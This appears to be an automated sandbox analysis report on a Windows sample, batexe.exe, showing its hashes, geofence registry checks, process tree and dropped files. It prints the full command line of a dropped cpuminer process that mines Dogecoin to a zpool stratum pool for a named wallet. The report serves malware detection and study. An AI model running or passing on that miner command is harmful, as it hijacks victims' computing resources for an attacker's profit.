73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17/02/2024, 13:46

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3424	b2e.exe
4412	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4412	cpuminer-sse2.exe
4412	cpuminer-sse2.exe
4412	cpuminer-sse2.exe
4412	cpuminer-sse2.exe
4412	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4912-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4912 wrote to memory of 3424	4912	batexe.exe	84
PID 4912 wrote to memory of 3424	4912	batexe.exe	84
PID 4912 wrote to memory of 3424	4912	batexe.exe	84
PID 3424 wrote to memory of 4224	3424	b2e.exe	85
PID 3424 wrote to memory of 4224	3424	b2e.exe	85
PID 3424 wrote to memory of 4224	3424	b2e.exe	85
PID 4224 wrote to memory of 4412	4224	cmd.exe	88
PID 4224 wrote to memory of 4412	4224	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4912
- C:\Users\Admin\AppData\Local\Temp\5EE9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5EE9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5EE9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3424
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\61C7.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4224
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5EE9.tmp\b2e.exe

Filesize
4.9MB

MD5
d37cdb775587bf3e660c34c3294e4373

SHA1
66a9066df4bf469c298426e5c512ef0dc4f6d362

SHA256
45a5e3c0238df709f010898459e5a84369a5528b2611f6ead4271efa3754ffdd

SHA512
b0d7be6f1113a88535789e85ebdc27ec7aae23f87390e257fefd4cfcdee57fe8044a2913c9f0822a497b0c3b24301bb59bdcabadc8ca3e3c5decefae9281f8d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\5EE9.tmp\b2e.exe

Filesize
2.2MB

MD5
998e9301dce0fbf032fca9df021fc4ae

SHA1
f503ee26148291430af85f8446e0f57be9aaffe4

SHA256
b369c8213fb912e0b3897919430a7d1d5df34cc0fec88831ed704eaa103a6c69

SHA512
6c8e0ae1c074762bd85e7d6882b2e1925def81670ada77624c5f8a63b4cb1e48ddc62f67b9c933a31b0a3ba0be87fae07229c92ca1a1b34bd7910e246ea4a0e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\5EE9.tmp\b2e.exe

Filesize
2.1MB

MD5
7c9498b2e29f15c814d3b099c28a481c

SHA1
5bcb81dbc42114a2d91315b4fa756d0c87bf80f4

SHA256
4f51ba35dd666796eac0165d75a2064e0719702b20b279ed0a717659bbd37fea

SHA512
42513ffeda4ca8a477a0dd2a3339e386c7e1b763c75a168221e63899be2d2f0dea1dd7b27d5c72695bcaaf3d91ef99d4bcd925d105aa3912c4ce30aff3f2b896

Download Submit
C:\Users\Admin\AppData\Local\Temp\61C7.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
570KB

MD5
2fe65dbfa1d8654c7c614ee8abdf9533

SHA1
4a4d5f824e91dec07aac551112468cb6a1d55565

SHA256
cb38b4238ef0bbf3d8114ec177d860d2342ef4e5b00cd9a9d241a457b6705925

SHA512
d35e503da301264bf89e5ff05d4ab2d07a80fac37cad5381471bed9f46d597a209d7f1219446901a60f5056783f3d936f6ee21037ee1d245bc33d1b467501111

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
738KB

MD5
b8ae83ce4e9208e3971932200d7bd83b

SHA1
fc8a05e069b1c6f18ac3c000b7d937c33c148ab5

SHA256
bb6c640b42c31486e54ec495b58c23425f1f001f3b0d3b27af679d214e17082e

SHA512
1a2688cd83614bf95b51ac9947669575c1bfda35e0f32dbf01499aa24e90f56756688e049b49889a9d747feca4fd788b69ec7ddf87f7583f84ddf9d251bd6c59

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
591KB

MD5
bbd264cd6fa2c018c8f5187750c48a59

SHA1
886e7e5ee404038d132dd56db86d35a69959b2b8

SHA256
1ab9a1ac0a01cec1c163e6900c18d1c9a739662c865849c036eea30c5822c8fd

SHA512
b4f4189860e2e5f46d46845b52d642c7d27301637c79328cb4c643d7b67e68d84429ecd14ccc3183e362ed696ae56d88494009b67826b18f88c08f0a78eabf5f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
726KB

MD5
460cd5c103381903a4c7d1fc5682e720

SHA1
f921c59bf292d34339f0be06c4f75c25b4f40f73

SHA256
b2067c70d9e483cc9b0def17585b58379f902250481997466e05b4fdb8b3c797

SHA512
5ca957100c8df58444bf7437c6a6632e4bebf02d431d391f74c24f7315dfaac3826b59f18fbba8a9a15624ee8f92eaf532c629624032b9a3f5a5e5117df5f9ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
705KB

MD5
7c420c7458be6518ac95d8ee4e7639e5

SHA1
5f4bf77199cd3b85bed2b9204280498fdc459fe7

SHA256
802a256bd20c3b151281d3e0e3ccfc12fc69c709b8928ea23834e9e167a1a2e0

SHA512
e0a72678aa49e9d470c9bb1dcdd9b667595523c7d3c662e0947ca948ad4727957440f2933646f671d7d3059dd8aaae1ee19060d8221d85b6912101cd26ee9db1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
572KB

MD5
517af97f1ccd3b2a8694f55f952d6667

SHA1
1691e220fc1040d4149691f5c24b796e3dabef29

SHA256
76578ef376a8595b392a6da8dd3af034ee7b5a583012bad43d8b01df01f65561

SHA512
05ddb820ae6894e07191e83a6e4eed33eab7b75a6986679d7c528fa9820e0337457554a205efc603f2f32ca6d5f037d22cab9891cc2d491449774ca5131e81cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
768KB

MD5
613807ad6d525aded318b643c33bc17e

SHA1
2c9a4180140838c69c20bc4047c3d2d777d3bee4

SHA256
896775bd33edafb0d219d1ae3e973e71aa29a4937d0252bd3a4cad074c004971

SHA512
d688b0f2570944898097dcc6acb56b3a4c901073f0ce22b5ea260b05a37fe2840d84b44e7aa74c7d73078b0e5a45c24994852f5c03f049982b6ddca6ead89539

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
107KB

MD5
2c98cbb7d5471c2b848c754f4c0e59fb

SHA1
da5ecc13b2b5fc99a75633389d2d92a28efd2d75

SHA256
d5f2daae02565e1506376c894cccf19e91491605d1789b9b5d412090c32fa750

SHA512
cba0d16940533f913c7ff411629ebfa6a7dd7c44bf3d64a7a3c28825a15acf0e9d2a7d380a64399341a7c15e7917d143618ed36e1b3d3dbd4e77614fe85ffce8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
57KB

MD5
4a91d8f522a86a4a67e44a7667410a6f

SHA1
7ecf2598d4da2b1b105991b2f5a49c8e14e648a4

SHA256
4ecdc95a5d1aac157a46642018b8ed1f005ee2ab6e9ab2bf8f38e961dc37ea4c

SHA512
aa5a94d3acb4c310f0b24d132556ff07ec17bc152e4575c7e3e3d89babc9768ac0be323f3ed89c796d145b28f19a7d8d880721077b4e503a2aa3b8990032f9e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
482KB

MD5
06984433e230afb70d3efb82084effe2

SHA1
834ccf21246774f8f8e461671d817c4d1078a28e

SHA256
94a4f6d1908548d29a75bda74380b950b124ba603166879ad2848ce856887ae9

SHA512
f06801bca657e65f5659d1f18ddca5e1d6cc8277a3219ba0dd1179a884acb4f258456c524020f60c73a696c13efd135c415509a987e86669494a3de04f48ad10

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
570KB

MD5
fa6d0b9ab18a931a7d746b2d5dfd00a8

SHA1
32fd16c43a615f3c7c2f9c2ec772907e04f640ed

SHA256
4bc62a30d1a83c42a17e0648f1a535539835a370c19463552c12feb79ba5888c

SHA512
328a0afe2cebf57d2d812c3361a8caf4d2a05180dcfef7110cae197b9893c578ebb06a1530fbaf9e776b0806ec5d41a3f77ecc156fe882393fc3605d7a2cb35c

Download Submit
memory/3424-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3424-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4412-45-0x000000006D880000-0x000000006D918000-memory.dmp

Filesize
608KB

Download
memory/4412-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4412-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4412-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4412-47-0x0000000001030000-0x00000000028E5000-memory.dmp

Filesize
24.7MB

Download
memory/4412-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4412-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4412-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4412-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4412-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4412-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4412-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4412-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4412-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4412-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4912-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download